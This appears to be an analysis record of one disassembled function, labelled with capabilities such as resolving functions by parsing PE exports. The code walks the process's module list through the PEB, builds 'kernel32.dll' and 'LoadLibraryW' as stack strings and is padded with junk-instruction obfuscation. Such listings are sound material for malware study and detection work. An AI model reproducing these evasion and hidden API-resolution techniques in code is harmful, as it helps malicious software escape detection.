Function at 0x10017219
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebx
xor ebx, 0x12f18
call 0x10016d7f
add byte [ebx + 0x49], al
dec esp
dec esp
inc eax
cmp byte [esi], bh
add esp, 4
pop ebx
push esi
and esi, 0x9661
xor esi, 0xfc88
pop esi
push ecx
push edi
add esp, 4
and ecx, 0xb0a8
pop ecx
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push eax
sub eax, 0xa480
add eax, 0x17f38
or eax, 0x98b3
pop eax
push edx
push esi
add esp, 4
sub edx, 0xf2b7
add edx, 0x1527d
pop edx
push esi
push esi
add esp, 4
or esi, 0xbb0
pop esi
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push ebx
and ebx, 0x518a
xor ebx, 0x556e
or ebx, 0xd951
pop ebx
push edi
push edx
add esp, 4
sub edi, 0x6c00
add edi, 0x986d
xor edi, 0x711a
add edi, 0x57ab
pop edi
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x10016eab
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x10016f0e
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x10016dca
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x10016dca
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x10016ef8
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x10016f02
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x10016f57
push esi
sub esi, 0xe9b9
call 0x10016f2c
add byte [edx], dh
dec eax
xor al, 0x3b
inc edi
cmp eax, 0x4c4834f
call 0x10016f3f
add byte [edi + 0x3a], al
inc eax
inc ebx
inc esi
cmp dword [eax + 0x50], eax
inc esi
inc esp
add esp, 4
or esi, 0x565b
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x10016fbf
push eax
push edx
add esp, 4
and eax, 0x4aca
or eax, 0xd94c
sub eax, 0xb064
xor eax, 0x1644c
pop eax
push esi
xor esi, 0x7913
jmp 0x10016f82
xor esi, 0xd6da
pop esi
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x10016fb5
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x10016d6b
mov dword [ebp - 0x31c], 0
push edi
push edi
add esp, 4
call 0x10016fd3
add byte [edx + 0x49], al
dec edi
aaa
inc ebx
inc esi
cmp byte [ebp - 0x7d], cl
les eax, [ecx + eax*4]
test edi, 0x81000045
out dx, eax
aaa
adc eax, dword [ecx]
add byte [edi + 0x57], bl
and edi, 0x54c
sub edi, 0xcd07
pop edi
cmp dword [ebp - 0x31c], 0
jne 0x1001790a
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push ecx
add ecx, 0x4f0f
sub ecx, 0x14e7a
xor ecx, 0x1791d
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0x47bc
add ecx, 0x13a4f
or ecx, 0x195
or ecx, 0x14225
pop ecx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push edi
push edx
add esp, 4
call 0x1001715e
add byte [ebx + 0x35], cl
inc eax
dec ecx
dec ebp
inc ebp
aas
inc ebp
add esp, 4
xor edi, 0xfe47
and edi, 0x1634f
call 0x10017179
add byte [ebx + 0x4a], cl
xor bh, byte [eax]
cmp dword [edx - 0x7d], eax
les eax, [edi + ebx*2]
cmp dword [ebp - 0x15e4], 0
jne 0x10017195
mov dword [ebp - 0x750], 0
jmp 0x10017451
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push ebx
push ebx
add esp, 4
xor ebx, 0x1235e
jmp 0x100171b7
add ebx, 0x77f5
pop ebx
push edi
add edi, 0x19c9
jmp 0x100171cc
pop edi
push esi
push eax
add esp, 4
sub esi, 0x14588
pop esi
cmp dword [ebp - 0xca4], 0
jne 0x100171f1
mov dword [ebp - 0x750], 0
jmp 0x10017451
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push esi
jmp 0x10017205
pop esi
push edi
push esi
add esp, 4
call 0x10017219
add byte [0x47364550], dh
cmp esi, dword [edx]
inc esp
add esp, 4
sub edi, 0xa3a8
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0xb346
pop ebx
lea edx, [ebp - 0x1774]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push edx
add edx, 0x12f18
call 0x10017271
add byte [edx + 0x43], cl
inc ecx
dec esi
aas
cmp byte [esi], dh
add esp, 4
call 0x10017282
add byte [esi + edi], dh
inc ebp
inc eax
xor cl, byte [ecx + 0x3b]
xor al, byte [ebx + 0x575a04c4]
or edi, 0xa18d
pop edi
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push ebx
push ebx
add esp, 4
jmp 0x100172f3
sub ebx, 0x2abe
add ebx, 0x13ce5
add ebx, 0x14a81
pop ebx
push ebx
add ebx, 0x17580
xor ebx, 0xd7da
sub ebx, 0xccf9
pop ebx
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x1001733d
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x100173a0
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x1001725c
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x1001725c
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x1001738a
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x10017394
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x100173e9
push edx
push esi
add esp, 4
sub edx, 0x60a9
jmp 0x100173bd
xor edx, 0x113f2
call 0x100173cf
add byte [ebp + 0x50], al
inc esp
dec esi
inc esi
inc esp
add esp, 4
pop edx
push edx
xor edx, 0xb63e
pop edx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x10017451
push edx
jmp 0x100173f2
add edx, 0x15615
sub edx, 0x25a5
pop edx
push eax
push edi
add esp, 4
add eax, 0xb533
pop eax
push esi
add esi, 0xa1e2
jmp 0x1001741a
pop esi
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x10017447
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x100171fd
mov dword [ebp - 0x750], 0
push edi
push edx
add esp, 4
jmp 0x1001745e
pop edi
push edi